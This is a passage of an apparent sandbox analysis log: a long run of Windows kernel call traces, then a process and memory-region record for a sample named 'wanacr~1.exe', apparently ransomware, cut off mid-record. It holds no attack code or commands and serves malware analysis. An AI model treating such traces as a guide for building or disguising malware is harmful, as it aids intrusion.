(FastMutex=0xffffe000001652b0) [0118.287] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.287] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.287] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.287] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.288] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.288] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.288] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.288] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.288] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.288] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.293] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.293] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.293] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.293] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.293] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.293] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.294] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.294] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.294] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.294] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.294] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.295] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.295] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.295] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.296] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.296] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.298] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.298] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.298] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.298] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.298] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.298] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.299] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.299] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.299] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.300] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.300] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.300] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.300] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.301] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.301] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.343] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.343] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.343] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.401] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.401] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.478] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.478] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.545] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.546] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.546] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.546] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.546] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.546] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.566] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.566] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.566] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.567] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.567] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.568] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.568] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.568] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.578] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.578] EngAllocMem () returned 0xfffff9014251f030 [0118.578] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.578] MmMapViewOfSection (in: SectionObject=0xffffc00001c662c0, Process=0xffffe00001428900, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002113eed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0xbe98650000, SectionOffset=0xffffd0002113eed0, ViewSize=0xfffff9014251f370) returned 0x0 [0118.579] EngCreateBitmap () returned 0xe050559 [0118.579] EngAssociateSurface () returned 0x1 [0118.579] EngLockSurface () returned 0xfffff901400f5bc8 [0118.579] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000011e9ea0 [0118.579] KeInitializeEvent (in: Event=0xffffe000011e9eb8, Type=0x1, State=0 | out: Event=0xffffe000011e9eb8) [0118.579] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.616] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.616] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.617] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.617] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.617] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.617] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.618] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.618] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.618] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.661] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.661] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.739] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.801] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.801] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.864] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.864] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.924] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.925] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.979] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.023] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.023] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0119.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.024] EngAllocMem () returned 0xfffff9014087f840 [0119.024] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.024] MmMapViewOfSection (in: SectionObject=0xffffc00001555c20, Process=0xffffe00001428900, BaseAddress=0xfffff9014087fb68*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002113eed0, ViewSize=0xfffff9014087fb80, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014087fb68*=0xbe96df0000, SectionOffset=0xffffd0002113eed0, ViewSize=0xfffff9014087fb80) returned 0x0 [0119.024] EngCreateBitmap () returned 0x2705057d [0119.024] EngAssociateSurface () returned 0x1 [0119.024] EngLockSurface () returned 0xfffff901400f55c8 [0119.024] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000013ca590 [0119.024] KeInitializeEvent (in: Event=0xffffe000013ca5a8, Type=0x1, State=0 | out: Event=0xffffe000013ca5a8) [0119.024] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.027] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.027] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.028] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.028] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.028] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.028] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.028] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.041] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.100] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.100] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.162] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.162] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.224] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.224] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.278] IoGetCurrentProcess () returned 0xffffe00001428900 [0119.278] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0119.278] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.371] MmUnmapViewOfSection (Process=0xffffe00001428900, BaseAddress=0xbe96df0000) returned 0x0 [0119.372] MmUnmapViewOfSection (Process=0xffffe00001428900, BaseAddress=0xbe99e60000) returned 0x0 Process: id = "71" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x5d714000" os_pid = "0x934" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "70" os_parent_pid = "0x910" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 8365 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8366 start_va = 0xebcbb40000 end_va = 0xebcbb5ffff entry_point = 0x0 region_type = private name = "private_0x000000ebcbb40000" filename = "" Region: id = 8367 start_va = 0xebcbb60000 end_va = 0xebcbb6efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcbb60000" filename = "" Region: id = 8368 start_va = 0xebcbb70000 end_va = 0xebcbf6ffff entry_point = 0x0 region_type = private name = "private_0x000000ebcbb70000" filename = "" Region: id = 8369 start_va = 0xebcbf70000 end_va = 0xebcbf73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcbf70000" filename = "" Region: id = 8370 start_va = 0x7ff6ce680000 end_va = 0x7ff6ce6a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce680000" filename = "" Region: id = 8371 start_va = 0x7ff6ce6ad000 end_va = 0x7ff6ce6aefff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce6ad000" filename = "" Region: id = 8372 start_va = 0x7ff6ce6af000 end_va = 0x7ff6ce6affff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce6af000" filename = "" Region: id = 8373 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 8374 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8375 start_va = 0xebcbf80000 end_va = 0xebcbf81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcbf80000" filename = "" Region: id = 8376 start_va = 0xebcbf90000 end_va = 0xebcbf91fff entry_point = 0x0 region_type = private name = "private_0x000000ebcbf90000" filename = "" Region: id = 8377 start_va = 0xebcbfe0000 end_va = 0xebcc3dffff entry_point = 0x0 region_type = private name = "private_0x000000ebcbfe0000" filename = "" Region: id = 8378 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 8379 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 8380 start_va = 0xebcbb40000 end_va = 0xebcbb4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcbb40000" filename = "" Region: id = 8381 start_va = 0x7ff6ce580000 end_va = 0x7ff6ce67ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce580000" filename = "" Region: id = 8382 start_va = 0xebcc3e0000 end_va = 